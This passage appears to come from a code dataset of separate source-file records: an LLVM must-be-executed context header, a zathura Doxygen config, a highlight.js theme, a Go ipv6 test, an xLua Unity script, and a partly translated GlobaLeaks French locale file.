MustBeExecutedIterator(ExplorerTy &Explorer, const Instruction *I);\n\n /// Reset the iterator to its initial state pointing at \\p I.\n void reset(const Instruction *I);\n\n /// Try to advance one of the underlying positions (Head or Tail).\n ///\n /// \\return The next instruction in the must be executed context, or nullptr\n /// if none was found.\n const Instruction *advance();\n\n /// A set to track the visited instructions in order to deal with endless\n /// loops and recursion.\n VisitedSetTy Visited;\n\n /// A reference to the explorer that created this iterator.\n ExplorerTy &Explorer;\n\n /// The instruction we are currently exposing to the user. There is always an\n /// instruction that we know is executed with the given program point,\n /// initially the program point itself.\n const Instruction *CurInst;\n\n friend struct MustBeExecutedContextExplorer;\n};\n\n/// A \"must be executed context\" for a given program point PP is the set of\n/// instructions, potentially before and after PP, that are executed always when\n/// PP is reached. The MustBeExecutedContextExplorer an interface to explore\n/// \"must be executed contexts\" in a module through the use of\n/// MustBeExecutedIterator.\n///\n/// The explorer exposes \"must be executed iterators\" that traverse the must be\n/// executed context. There is little information sharing between iterators as\n/// the expected use case involves few iterators for \"far apart\" instructions.\n/// If that changes, we should consider caching more intermediate results.\nstruct MustBeExecutedContextExplorer {\n\n /// In the description of the parameters we use PP to denote a program point\n /// for which the must be executed context is explored, or put differently,\n /// for which the MustBeExecutedIterator is created.\n ///\n /// \\param ExploreInterBlock Flag to indicate if instructions in blocks\n /// other than the parent of PP should be\n /// explored.\n MustBeExecutedContextExplorer(bool ExploreInterBlock)\n : ExploreInterBlock(ExploreInterBlock), EndIterator(*this, nullptr) {}\n\n /// Clean up the dynamically allocated iterators.\n ~MustBeExecutedContextExplorer() {\n DeleteContainerSeconds(InstructionIteratorMap);\n }\n\n /// Iterator-based interface. \\see MustBeExecutedIterator.\n ///{\n using iterator = MustBeExecutedIterator;\n using const_iterator = const MustBeExecutedIterator;\n\n /// Return an iterator to explore the context around \\p PP.\n iterator &begin(const Instruction *PP) {\n auto *&It = InstructionIteratorMap[PP];\n if (!It)\n It = new iterator(*this, PP);\n return *It;\n }\n\n /// Return an iterator to explore the cached context around \\p PP.\n const_iterator &begin(const Instruction *PP) const {\n return *InstructionIteratorMap.lookup(PP);\n }\n\n /// Return an universal end iterator.\n ///{\n iterator &end() { return EndIterator; }\n iterator &end(const Instruction *) { return EndIterator; }\n\n const_iterator &end() const { return EndIterator; }\n const_iterator &end(const Instruction *) const { return EndIterator; }\n ///}\n\n /// Return an iterator range to explore the context around \\p PP.\n llvm::iterator_range range(const Instruction *PP) {\n return llvm::make_range(begin(PP), end(PP));\n }\n\n /// Return an iterator range to explore the cached context around \\p PP.\n llvm::iterator_range range(const Instruction *PP) const {\n return llvm::make_range(begin(PP), end(PP));\n }\n ///}\n\n /// Return the next instruction that is guaranteed to be executed after \\p PP.\n ///\n /// \\param It The iterator that is used to traverse the must be\n /// executed context.\n /// \\param PP The program point for which the next instruction\n /// that is guaranteed to execute is determined.\n const Instruction *\n getMustBeExecutedNextInstruction(MustBeExecutedIterator &It,\n const Instruction *PP);\n\n /// Parameter that limit the performed exploration. See the constructor for\n /// their meaning.\n ///{\n const bool ExploreInterBlock;\n ///}\n\nprivate:\n /// Map from instructions to associated must be executed iterators.\n DenseMap\n InstructionIteratorMap;\n\n /// A unique end iterator.\n MustBeExecutedIterator EndIterator;\n};\n\n} // namespace llvm\n\n#endif\n"} +{"text": "# SPDX-License-Identifier: Zlib\n\n# General information\nPROJECT_NAME = zathura\nOUTPUT_DIRECTORY = ./_build/doxygen/\nOUTPUT_LANGUAGE = English\nTAB_SIZE = 2\nEXTRACT_ALL = YES\nOPTIMIZE_OUTPUT_FOR_C = YES\nDOXYFILE_ENCODING = UTF-8\nTYPEDEF_HIDES_STRUCT = YES\n\n# Warning and progress messages\nQUIET = YES\nWARNINGS = YES\nWARN_IF_UNDOCUMENTED = YES\n\n# Input files\nINPUT = ../\nEXCLUDE = ./tests ./doc\nFILE_PATTERNS = *.h *.c\nRECURSIVE = YES\n\n# Output files\nGENERATE_HTML = NO\nGENERATE_LATEX = NO\nGENERATE_RTF = NO\nGENERATE_XML = YES\n\nSOURCE_BROWSER = YES\n"} +{"text": "/*\n Name: Kimbie (dark)\n Author: Jan T. Sott\n License: Creative Commons Attribution-ShareAlike 4.0 Unported License\n URL: https://github.com/idleberg/Kimbie-highlight.js\n*/\n\n/* Kimbie Comment */\n.hljs-comment,\n.hljs-quote {\n color: #d6baad;\n}\n\n/* Kimbie Red */\n.hljs-variable,\n.hljs-template-variable,\n.hljs-tag,\n.hljs-name,\n.hljs-selector-id,\n.hljs-selector-class,\n.hljs-regexp,\n.hljs-meta {\n color: #dc3958;\n}\n\n/* Kimbie Orange */\n.hljs-number,\n.hljs-built_in,\n.hljs-builtin-name,\n.hljs-literal,\n.hljs-type,\n.hljs-params,\n.hljs-deletion,\n.hljs-link {\n color: #f79a32;\n}\n\n/* Kimbie Yellow */\n.hljs-title,\n.hljs-section,\n.hljs-attribute {\n color: #f06431;\n}\n\n/* Kimbie Green */\n.hljs-string,\n.hljs-symbol,\n.hljs-bullet,\n.hljs-addition {\n color: #889b4a;\n}\n\n/* Kimbie Purple */\n.hljs-keyword,\n.hljs-selector-tag,\n.hljs-function {\n color: #98676a;\n}\n\n.hljs {\n display: block;\n overflow-x: auto;\n background: #221a0f;\n color: #d3af86;\n padding: 0.5em;\n}\n\n.hljs-emphasis {\n font-style: italic;\n}\n\n.hljs-strong {\n font-weight: bold;\n}\n"} +{"text": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage ipv6_test\n\nimport (\n\t\"code.google.com/p/go.net/ipv6\"\n\t\"net\"\n\t\"os\"\n\t\"runtime\"\n\t\"testing\"\n)\n\nvar supportsIPv6 bool\n\nfunc init() {\n\tif ln, err := net.Listen(\"tcp6\", \"[::1]:0\"); err == nil {\n\t\tln.Close()\n\t\tsupportsIPv6 = true\n\t}\n}\n\nvar condFatalf = func() func(*testing.T, string, ...interface{}) {\n\t// A few APIs are not implemented yet on some platforms.\n\tswitch runtime.GOOS {\n\tcase \"darwin\", \"dragonfly\", \"plan9\", \"solaris\", \"windows\":\n\t\treturn (*testing.T).Logf\n\t}\n\treturn (*testing.T).Fatalf\n}()\n\nfunc TestConnInitiatorPathMTU(t *testing.T) {\n\tswitch runtime.GOOS {\n\tcase \"dragonfly\", \"plan9\", \"solaris\", \"windows\":\n\t\tt.Skipf(\"not supported on %q\", runtime.GOOS)\n\t}\n\tif !supportsIPv6 {\n\t\tt.Skip(\"ipv6 is not supported\")\n\t}\n\n\tln, err := net.Listen(\"tcp6\", \"[::1]:0\")\n\tif err != nil {\n\t\tt.Fatalf(\"net.Listen failed: %v\", err)\n\t}\n\tdefer ln.Close()\n\n\tdone := make(chan bool)\n\tgo acceptor(t, ln, done)\n\n\tc, err := net.Dial(\"tcp6\", ln.Addr().String())\n\tif err != nil {\n\t\tt.Fatalf(\"net.Dial failed: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tif pmtu, err := ipv6.NewConn(c).PathMTU(); err != nil {\n\t\tcondFatalf(t, \"ipv6.Conn.PathMTU failed: %v\", err)\n\t} else {\n\t\tt.Logf(\"path mtu for %v: %v\", c.RemoteAddr(), pmtu)\n\t}\n\n\t<-done\n}\n\nfunc TestConnResponderPathMTU(t *testing.T) {\n\tswitch runtime.GOOS {\n\tcase \"dragonfly\", \"plan9\", \"solaris\", \"windows\":\n\t\tt.Skipf(\"not supported on %q\", runtime.GOOS)\n\t}\n\tif !supportsIPv6 {\n\t\tt.Skip(\"ipv6 is not supported\")\n\t}\n\n\tln, err := net.Listen(\"tcp6\", \"[::1]:0\")\n\tif err != nil {\n\t\tt.Fatalf(\"net.Listen failed: %v\", err)\n\t}\n\tdefer ln.Close()\n\n\tdone := make(chan bool)\n\tgo connector(t, \"tcp6\", ln.Addr().String(), done)\n\n\tc, err := ln.Accept()\n\tif err != nil {\n\t\tt.Fatalf(\"net.Accept failed: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tif pmtu, err := ipv6.NewConn(c).PathMTU(); err != nil {\n\t\tcondFatalf(t, \"ipv6.Conn.PathMTU failed: %v\", err)\n\t} else {\n\t\tt.Logf(\"path mtu for %v: %v\", c.RemoteAddr(), pmtu)\n\t}\n\n\t<-done\n}\n\nfunc TestPacketConnChecksum(t *testing.T) {\n\tswitch runtime.GOOS {\n\tcase \"dragonfly\", \"plan9\", \"solaris\", \"windows\":\n\t\tt.Skipf(\"not supported on %q\", runtime.GOOS)\n\t}\n\tif !supportsIPv6 {\n\t\tt.Skip(\"ipv6 is not supported\")\n\t}\n\tif os.Getuid() != 0 {\n\t\tt.Skip(\"must be root\")\n\t}\n\n\tc, err := net.ListenPacket(\"ip6:89\", \"::\") // OSPF for IPv6\n\tif err != nil {\n\t\tt.Fatalf(\"net.ListenPacket failed: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tp := ipv6.NewPacketConn(c)\n\toffset := 12 // see RFC 5340\n\n\tfor _, toggle := range []bool{false, true} {\n\t\tif err := p.SetChecksum(toggle, offset); err != nil {\n\t\t\tif toggle {\n\t\t\t\tt.Fatalf(\"ipv6.PacketConn.SetChecksum(%v, %v) failed: %v\", toggle, offset, err)\n\t\t\t} else {\n\t\t\t\t// Some platforms never allow to disable the kernel\n\t\t\t\t// checksum processing.\n\t\t\t\tt.Logf(\"ipv6.PacketConn.SetChecksum(%v, %v) failed: %v\", toggle, offset, err)\n\t\t\t}\n\t\t}\n\t\tif on, offset, err := p.Checksum(); err != nil {\n\t\t\tt.Fatalf(\"ipv6.PacketConn.Checksum failed: %v\", err)\n\t\t} else {\n\t\t\tt.Logf(\"kernel checksum processing enabled=%v, offset=%v\", on, offset)\n\t\t}\n\t}\n}\n"} +{"text": "/*\n * Tencent is pleased to support the open source community by making xLua available.\n * Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.\n * Licensed under the MIT License (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n * http://opensource.org/licenses/MIT\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n*/\n\nusing UnityEngine;\nusing System.Collections;\nusing System.Collections.Generic;\nusing XLua;\nusing System;\n\nnamespace XLuaTest\n{\n [System.Serializable]\n public class Injection\n {\n public string name;\n public GameObject value;\n }\n\n [LuaCallCSharp]\n public class LuaBehaviour : MonoBehaviour\n {\n public TextAsset luaScript;\n public Injection[] injections;\n\n internal static LuaEnv luaEnv = new LuaEnv(); //all lua behaviour shared one luaenv only!\n internal static float lastGCTime = 0;\n internal const float GCInterval = 1;//1 second \n\n private Action luaStart;\n private Action luaUpdate;\n private Action luaOnDestroy;\n\n private LuaTable scriptEnv;\n\n void Awake()\n {\n scriptEnv = luaEnv.NewTable();\n\n // 为每个脚本设置一个独立的环境,可一定程度上防止脚本间全局变量、函数冲突\n LuaTable meta = luaEnv.NewTable();\n meta.Set(\"__index\", luaEnv.Global);\n scriptEnv.SetMetaTable(meta);\n meta.Dispose();\n\n scriptEnv.Set(\"self\", this);\n foreach (var injection in injections)\n {\n scriptEnv.Set(injection.name, injection.value);\n }\n\n luaEnv.DoString(luaScript.text, \"LuaTestScript\", scriptEnv);\n\n Action luaAwake = scriptEnv.Get(\"awake\");\n scriptEnv.Get(\"start\", out luaStart);\n scriptEnv.Get(\"update\", out luaUpdate);\n scriptEnv.Get(\"ondestroy\", out luaOnDestroy);\n\n if (luaAwake != null)\n {\n luaAwake();\n }\n }\n\n // Use this for initialization\n void Start()\n {\n if (luaStart != null)\n {\n luaStart();\n }\n }\n\n // Update is called once per frame\n void Update()\n {\n if (luaUpdate != null)\n {\n luaUpdate();\n }\n if (Time.time - LuaBehaviour.lastGCTime > GCInterval)\n {\n luaEnv.Tick();\n LuaBehaviour.lastGCTime = Time.time;\n }\n }\n\n void OnDestroy()\n {\n if (luaOnDestroy != null)\n {\n luaOnDestroy();\n }\n luaOnDestroy = null;\n luaUpdate = null;\n luaStart = null;\n scriptEnv.Dispose();\n injections = null;\n }\n }\n}\n"} +{"text": "{\n \"Log in\": \"Midira\",\n \"Main configuration\": \"Configuration principale\",\n \"Theme customization\": \"Personnalisation du thème\",\n \"Languages\": \"Langues\",\n \"Text customization\": \"Personnalisation des textes\",\n \"Advanced settings\": \"Paramètres avancés\",\n \"Questionnaire configuration\": \"Configuration des questionnaires\",\n \"Question templates\": \"Modèles de questions\",\n \"Questionnaires\": \"Questionnaires\",\n \"Add new questionnaire\": \"Ajouter un nouveau questionnaire\",\n \"Home\": \"Accueil\",\n \"Changelog\": \"Journal des changements\",\n \"License\": \"Licence\",\n \"Notification templates\": \"Modèles de notification\",\n \"Missing data\": \"Données manquantes\",\n \"no stats available for this hour.\": \"aucune statistique n’existe pour cette heure.\",\n \"Delete\": \"Supprimer\",\n \"Anomalies\": \"Anomalies\",\n \"Preferences\": \"Préférences\",\n \"Notification settings\": \"Paramètres de notification\",\n \"file unavailable\": \"fichier non disponible\",\n \"Date\": \"Date\",\n \"Expiration date\": \"Vanim-potoana farany mampanan-kery\",\n \"Last Access\": \"Dernier accès\",\n \"Files\": \"Fichiers\",\n \"Comments\": \"Fanehoan-kevitra\",\n \"Messages\": \"Messages\",\n \"Select this recipient.\": \"Sélectionner ce destinataire.\",\n \"Unselect this recipient.\": \"Dessélectionner ce destinataire.\",\n \"This recipient cannot be deselected.\": \"Ce destinataire ne peut pas être dessélectionné.\",\n \"Details\": \"Détails\",\n \"Platform wizard\": \"Assistant de la plateforme\",\n \"CREDIT CARD\": \"CARTE DE CRÉDIT\",\n \"YOUR NAME\": \"VOTRE NOM\",\n \"Label the report\": \"Étiqueter l’envoi\",\n \"Postpone the expiration date\": \"Repousser la date d’expiration\",\n \"Select all\": \"Tout sélectionner\",\n \"Deselect all\": \"Tout dessélectionner\",\n \"Refresh\": \"Refresh\",\n \"Context\": \"Contexte\",\n \"Private messages\": \"Messages privés\",\n \"Preview\": \"Aperçu\",\n \"The whistleblower has already read the last update\": \"The whistleblower has already read the last update\",\n \"The whistleblower has not read the last update yet\": \"The whistleblower has not read the last update yet\",\n \"Move up\": \"Déplacer vers le haut\",\n \"Move down\": \"Déplacer vers le bas\",\n \"Move left\": \"Déplacer vers la gauche\",\n \"Move right\": \"Déplacer vers la droite\",\n \"Import\": \"Importer\",\n \"Export\": \"Exporter\",\n \"Save all\": \"Tout enregistrer\",\n \"Access control\": \"Access control\",\n \"The connection has been secured with HTTPS ensuring confidentiality.\": \"La connexion a été sécurisée avec HTTPS afin de garantir la confidentialité de vos données.\",\n \"The connection has been secured with Tor ensuring confidentiality and anonymity.\": \"La connexion a été sécurisée avec Tor afin de garantir la confidentialité de vos données et votre anonymat.\",\n \"vertical\": \"verticale\",\n \"horizontal\": \"horizontale\",\n \"Number\": \"Nombre\",\n \"Email\": \"Courriel\",\n \"Regular expression validator\": \"Valideur d’expression régulière\",\n \"Minimum number of input characters\": \"Nombre minimal de caractères de saisie\",\n \"Maximum number of input characters\": \"Nombre maximal de caractères de saisie\",\n \"Earliest selectable date\": \"Date la plus ancienne possible\",\n \"Latest selectable date\": \"Date la plus tardive possible\",\n \"0 = auto\": \"0 = auto\",\n \"True\": \"Vrai\",\n \"False\": \"Faux\",\n \"Yes\": \"Oui\",\n \"No\": \"Non\",\n \"Attachment\": \"Fichier joint\",\n \"Attachments\": \"Ireo rakitra ampiarahina\",\n \"Change your password\": \"Changez votre mot de passe\",\n \"Access requests\": \"Access requests\",\n \"User\": \"Utilisateur\",\n \"Motivation\": \"Motif\",\n \"Status\": \"État\",\n \"Request motivation\": \"Motif de la demande\",\n \"Reply motivation\": \"Motif de la réponse\",\n \"Request status\": \"État de la demande\",\n \"Custodian\": \"Gardien\",\n \"Custodian of the identities\": \"Gardien des identités\",\n \"Identity\": \"Identité\",\n \"Available\": \"Disponible\",\n \"Not available\": \"Non disponible\",\n \"Access requested\": \"accès demandé\",\n \"Request access to the whistleblower's identity\": \"Demander l’accès à l’identité du lanceur d’alerte\",\n \"Please write a motivation\": \"Veuillez écrire un motif\",\n \"Reply to the request\": \"Réponse à la demande\",\n \"Authorized\": \"autorisée\",\n \"Denied\": \"refusée\",\n \"Waiting for authorization\": \"En attente d’autorisation\",\n \"New request\": \"Nouvelle demande\",\n \"Authorize\": \"Autoriser\",\n \"Deny\": \"Refuser\",\n \"Deny access to the whistleblower's identity\": \"Refuser l’accès à l’identité du lanceur d’alerte\",\n \"Authorize access to the whistleblower's identity\": \"Autoriser l’accès à l’identité du lanceur d’alerte\",\n \"Templates\": \"Modèles\",\n \"HTTPS settings\": \"Paramètres HTTPS\",\n \"URL redirects\": \"URL redirects\",\n \"Anomaly detection thresholds\": \"Seuils de détection des anomalies\",\n \"Available disk space\": \"Espace disque disponible\",\n \"Last update\": \"Fanavaozana farany\",\n \"Custodian notification templates\": \"Modèles de notification des gardiens\",\n \"This interface allows configuring email templates used to notify custodians.\": \"Cette interface permet de configurer les modèles de courriel utilisés pour les notifications aux gardiens.\",\n \"Disable notifications to administrators\": \"Désactiver les courriels de notification aux administrateurs.\",\n \"Disable notifications to custodians\": \"Désactiver les notifications aux gardiens\",\n \"Disable notifications to recipients\": \"Désactiver les notifications aux destinataires\",\n \"Score\": \"Pointage\",\n \"Trigger question\": \"Déclencher une question\",\n \"Triggered by score:\": \"Déclenché par un pointage : \",\n \"Message shown on top of the status page of the report\": \"Message affiché en haut de la page d’état de l’envoi\",\n \"Password strength:\": \"Robustesse du mot de passe  :\",\n \"Weak\": \"Faible\",\n \"Acceptable\": \"Acceptable\",\n \"Strong\": \"Robuste\",\n \"Text shown on top of the interface for selecting contexts\": \"Texte de sélection des contextes, affiché en haut de l’interface\",\n \"Show small context cards on submission interface\": \"Sur l’interface d’envoi, afficher les contextes sous forme de petites cartes \",\n \"Type of context selector:\": \"Type de sélecteur de contexte :\",\n \"Type to search…\": \"Taper pour chercher…\",\n \"Silence email notifications\": \"Désactiver les courriel de notification\",\n \"Turn on email notifications\": \"Activer les courriel de notification\",\n \"Enter an email address for the administrator\": \"Saisir une adresse courriel pour l’administrateur\",\n \"Enter a password for the administrator\": \"Saisir un mot de passe pour l’administrateur\",\n \"Failed logins\": \"Connexions échouées\",\n \"Successful logins\": \"Connexions réussies\",\n \"Started submissions\": \"Envois commencés\",\n \"Completed submissions\": \"Envois réussis\",\n \"Failed submissions\": \"Envois en échec\",\n \"Input validation\": \"Validation de saisie\",\n \"Email address\": \"Adresse courriel\",\n \"Custom\": \"Personnaliser\",\n \"None\": \"Aucune\",\n \"Regular expression\": \"Expression rationnelle\",\n \"Activate\": \"Activer\",\n \"Disactivate\": \"Désactiver\",\n \"Search\": \"Recherche\",\n \"This custom text is no longer displayed on the platform. The original text has either changed or been removed.\": \"Ce texte personnalisé n’est plus affiché sur la plateforme. Le texte original a été modifié ou supprimé.\",\n \"Unless the whistleblower checks the report by this time, their access to it will expire.\": \"À moins que le lanceur d’alerte ne vérifie l’envoi avant cette échéance, son accès arrivera à expiration.\",\n \"The whistleblower can no longer access the report\": \"Le lanceur d’alerte ne peut plus accéder à l’envoi\",\n \"Warning!\": \"Avertissement !\",\n \"You are running an unsupported and potentially vulnerable browser.\": \"Vous utilisez un navigateur non pris en charge et potentiellement vulnérable. \",\n \"You are strongly advised to download and install the Tor Browser.\": \"Il vous est fortement conseillé de télécharger et d’installer le navigateur Tor.\",\n \"The Tor Browser includes various privacy and security enhancements not present in other browsers.\": \"Le navigateur Tor inclut diverses améliorations concernant la protection des renseignements personnels et la sécurité que les autres navigateurs ne proposent pas.\",\n \"Download the Tor Browser\": \"Télécharger le navigateur Tor\",\n \"Audit log\": \"Audit log\",\n \"Stats\": \"Statistiques\",\n \"Activities\": \"Activités\",\n \"Reports\": \"Envois\",\n \"Users\": \"Utilisateurs\",\n \"From\": \"Nanomboka tamin'ny\",\n \"Number of downloads\": \"Nombre de téléchargements\",\n \"Error with file:\": \"Erreur avec le fichier :\",\n \"File size not accepted.\": \"La taille du fichier a été refusée.\",\n \"File type not accepted.\": \"Le type de fichier n’est pas accepté.\",\n \"Maximum file size is:\": \"La taille de fichier maximale est :\",\n \"Accepted file types are:\": \"Les types de fichier acceptés sont :\",\n \"Scheduled jobs\": \"Travaux planifiés\",\n \"Sites management\": \"Gestion des sites\",\n \"Regenerate\": \"Générer de nouveau\",\n \"Display options alphabetically\": \"Afficher les options en ordre alphabétique\",\n \"Enable email notifications for:\": \"Activer les notifications par courriel pour :\",\n \"Disable\": \"Désactiver\",\n \"Remove\": \"Supprimer\",\n \"Use as default\": \"Utiliser comme valeur par défaut\",\n \"Create your whistleblowing platform\": \"Créez votre plateforme de lancement d’alerte\",\n \"Collapse\": \"Réduire\",\n \"Expand\": \"Développer\",\n \"Select\": \"Sélectionner\",\n \"Selected by default\": \"Sélectionné par défaut\",\n \"Unselected by default\": \"Non sélectionné par défaut\",\n \"Surname\": \"Nom de famille\",\n \"New\": \"Vaovao\",\n \"Opened\": \"Ouvert\",\n \"Closed\": \"Fermé\",\n \"Placeholder\": \"Espace réservé\",\n \"Print\": \"Imprimer\",\n \"Previous\": \"Mialoha\",\n \"Next\": \"Manaraka\",\n \"First\": \"Première\",\n \"Last\": \"Dernière\",\n \"Running\": \"Fonctionne\",\n \"Not running\": \"Ne fonctionne pas\",\n \"Send a test email to your email address.\": \"Send a test email to your email address.\",\n \"Block the submission\": \"Bloquer l'envoi\",\n \"Skip the recipient account creation.\": \"Skip the recipient account creation.\",\n \"Send activation link\": \"Send activation link\",\n \"Password reset\": \"Password reset\",\n \"One or more recipients have not performed the first login yet. This means they won't be receiving reports.\": \"One or more recipients have not performed the first login yet. This means they won't be receiving reports.\",\n \"This user has not performed the first login yet.\": \"This user has not performed the first login yet.\",\n \"seconds\": \"secondes\",\n \"This domain name is not available.\": \"This domain name is not available.\",\n \"VAT number\": \"VAT number\",\n \"Tax code\": \"Tax code\",\n \"Select the context of your report:\": \"Choisir le contexte de votre envoi :\",\n \"Warning! You are not anonymous.\": \"Avertissement ! Vous n’êtes pas anonyme.\",\n \"Sending reports over HTTPS exposes the act of doing so, but not the content.\\\\n\\\\nAlso, hiding the fact that you are submitting something makes the report anonymous, which is strongly recommended.\\\\n\\\\nThis can be achieved with the use of the Tor Browser, providing anonymisation not found in other browsers.\": \"Le fait même de transmettre des envois par HTTPS révèle les transmissions, mais pas leur contenu.\\n\\nSi vous cachez aussi le fait que vous envoyez quelque chose, nous avons alors un envoi anonyme, ce qui est fortement recommandé.\\n\\nLe navigateur Tor permet de le faire en fournissant une anonymisation que les autres navigateurs.\",\n \"Are you a whistleblower?\": \"Hanao fitorohana ve ianao?\",\n \"Blow the whistle\": \"Mandefasa vaovao fanairana\",\n \"Before proceeding, please set a new password.\": \"Avant de continuer, veuillez définir un nouveau mot de passe.\",\n \"New password\": \"Nouveau mot de passe\",\n \"The chosen password is too weak. A valid password should be at least 10 characters long and contain a variety of characters including at least a lowercase character, a capital character, a number and a special character.\": \"The chosen password is too weak. A valid password should be at least 10 characters long and contain a variety of characters including at least a lowercase character, a capital character, a number and a special character.\",\n \"The new password must be different from the current one.\": \"Le nouveau mot de passe doit être différent de l’actuel.\",\n \"Type your new password again\": \"Saisissez votre nouveau mot de passe de nouveau\",\n \"The two passwords do not match\": \"Les deux mots de passe ne correspondent pas\",\n \"The new password must differ from the previous.\": \"The new password must differ from the previous.\",\n \"Proceed\": \"Continuer\",\n \"Before proceeding, please enable the two factor authentication.\": \"Before proceeding, please enable the two factor authentication.\",\n \"Disable submissions\": \"Désactiver les envois\",\n \"Enable encryption\": \"Activer le chiffrement\",\n \"Enable administrators to change user passwords\": \"Enable administrators to change user passwords\",\n \"Enable multisite feature\": \"Activer la fonction multisite\",\n \"Enable multi-site login\": \"Activer la connexion multisite\",\n \"Enable simplified login\": \"Activer la connexion simplifiée\",\n \"Allow recipients to delete reports\": \"Permettre aux destinataires de supprimer des envois\",\n \"Allow recipients to postpone expiration date of the report\": \"Autoriser les destinataires à repousser la date d’expiration des envois\",\n \"Allow recipients to grant permissions to whistleblowers on specific reports\": \"Permettre aux destinataires de donner des permissions aux lanceurs d’alerte pour des envois spécifiques\",\n \"Enable search engines indexing\": \"Activer l’indexation par les moteurs de recherche\",\n \"Description\": \"Description\",\n \"Allow the following websites to embed the platform inside iframes\": \"Allow the following websites to embed the platform inside iframes\",\n \"Invalid input format.\": \"Le format de saisie est invalide.\",\n \"Enable custom privacy panel\": \"Activer le volet de confidentialité personnalisée\",\n \"Custom privacy panel\": \"Volet de confidentialité personnalisée\",\n \"Text shown when the whistleblower is not using Tor\": \"Texte affiché quand le lanceur d’alerte n’utilise pas Tor\",\n \"Disable the privacy panel\": \"Désactiver le volet de confidentialité\",\n \"Enable the receipt hint\": \"Enable the receipt hint\",\n \"Default questionnaire\": \"Questionnaire par défaut\",\n \"Show contexts in alphabetical order\": \"Montrer les contextes par ordre alphabétique\",\n \"Do not expose users' names\": \"Do not expose users' names\",\n \"Size limit for file attachments\": \"Limite de taille des fichiers joints\",\n \"in megabytes\": \"en mégaoctets\",\n \"Enable HSTS preload\": \"Enable HSTS preload\",\n \"Enable HTTP Basic Authentication\": \"Activer l’authentification HTTP de base\",\n \"Username\": \"Nom d’utilisateur\",\n \"Password\": \"Mot de passe\",\n \"Require two factor authentication\": \"Require two factor authentication\",\n \"Password change interval\": \"Intervalle de changement du mot de passe\",\n \"For security reasons, password changes are required at regular intervals.\": \"Pour des raisons de sécurité, il est exigé que le mot de passe soit changé à intervalles réguliers.\",\n \"Set the value to 0 to disable this feature.\": \"Définir la valeur à 0 pour désactiver cette fonction.\",\n \"Amount of days till whistleblower access expires\": \"Nombre de jours avant que l’accès du lanceur d’alerte ne soit expiré.\",\n \"For security reasons the whistleblower access is subject to expiration.\": \"Pour des raisons de sécurité, l’accès du lanceur d’alerte peut expirer.\",\n \"Tweak this setting only if you know what you are doing.\": \"N’ajustez ce paramètre que si vous savez ce que vous faites\",\n \"Enable custodian user role\": \"Enable custodian user role\",\n \"Enable scoring system\": \"Activer le système d’évaluation\",\n \"Enable private labels\": \"Enable private labels\",\n \"Logging level\": \"Niveau de journalisation\",\n \"Log accesses of internal users\": \"Journaliser les accès des utilisateurs internes\",\n \"Notify administrators of software problems\": \"Signaler les problèmes logiciels aux administrateurs\",\n \"Notify developers of software problems\": \"Signaler les problèmes logiciels aux développeurs\",\n \"By enabling this feature, you will contribute to the development and security of the platform.\": \"En activant cette fonction, vous contribuerez au développement et la sécurité de la plateforme.\",\n \"Save\": \"Enregistrer\",\n \"Reset reports\": \"Réinitialiser les envois\",\n \"Low\": \"Faible\",\n \"High\": \"Élevé\",\n \"megabytes\": \"megabytes\",\n \"percentage\": \"percentage\",\n \"Enable automatic backups\": \"Activer les sauvegardes automatiques\",\n \"Daily\": \"Quotidiennes\",\n \"Weekly\": \"Hebdomadaires\",\n \"Montly\": \"Mensuelles\",\n \"Remote\": \"Distantes\",\n \"Server\": \"Serveur\",\n \"Port\": \"Port\",\n \"Stats of the week:\": \"Statistiques hebdomadaires :\",\n \"Event ID\": \"ID de l’événement\",\n \"Time\": \"Heure\",\n \"Event\": \"Événement\",\n \"Response time\": \"Temps de réponse\",\n \"ID\": \"ID\",\n \"Role\": \"Rôle\",\n \"Name\": \"Nom\",\n \"Last access\": \"Dernier accès\",\n \"State\": \"État\",\n \"Connection\": \"Fidirana\",\n \"Whistleblower's last access\": \"Whistleblower's last access\",\n \"Alarm level\": \"Niveau d’alarme\",\n \"Events\": \"Événements\",\n \"Substatuses\": \"Sous-états\",\n \"Add\": \"Ajouter\",\n \"Label\": \"Étiquette\",\n \"This field is mandatory\": \"Tsy maintsy fenoina ny zavatra angatahina anao eto\",\n \"Edit\": \"Modifier\",\n \"Cancel\": \"Annuler\",\n \"Report statuses\": \"États de envois\",\n \"Logo\": \"Logo\",\n \"Project name\": \"Nom du projet\",\n \"Header title\": \"Header title\",\n \"Homepage title\": \"Titre de la page d’accueil\",\n \"Presentation\": \"Présentation\",\n \"Question to solicit possible whistleblowers\": \"Question pour attirer les lanceurs d’alerte potentiels\",\n \"Whistleblowing button\": \"Bouton de dénonciation\",\n \"Title of the submission page\": \"Titre de la page d’envoi\",\n \"Enable disclaimer\": \"Activer un avis\",\n \"Title\": \"Titre\",\n \"Text\": \"Texte\",\n \"Footer\": \"Bas de page\",\n \"Upload\": \"Téléverser\",\n \"Download\": \"Télécharger\",\n \"Language:\": \"Langue :\",\n \"Add custom text\": \"Ajouter un texte personnalisé\",\n \"Custom text\": \"Texte personnalisé\",\n \"Original text\": \"Texte original\",\n \"Original translation\": \"Traduction originale\",\n \"Custom translation\": \"Traduction personnalisée\",\n \"Contexts\": \"Contextes\",\n \"Hidden\": \"Caché\",\n \"Disabled\": \"Désactivé\",\n \"Enabled\": \"Activé\",\n \"Questionnaire\": \"Questionnaire\",\n \"Additional questionnaire\": \"Questionnaire supplémentaire\",\n \"Recipients\": \"Destinataires\",\n \"days\": \"jours\",\n \"Show the questionnaire navigation interface\": \"Afficher l’interface de navigation du questionnaire\",\n \"Allow whistleblowers to select their recipients\": \"Permettre aux lanceurs d’alerte de choisir leurs destinataires\",\n \"Select all recipients by default\": \"Par défaut, sélectionner tous les destinataires\",\n \"Maximum number of selectable recipients:\": \"Nombre maximal de destinataires sélectionnables :\",\n \"Show recipients in alphabetical order\": \"Montrer les destinataires par ordre alphabétique\",\n \"Show recipient details on the status page of the report\": \"Montrer les détails concernant les destinataires sur la page d’état de l’envoi\",\n \"Text shown on top of the interface for selecting recipients\": \"Texte de sélection des destinataires, affiché en haut de l’interface\",\n \"Enable 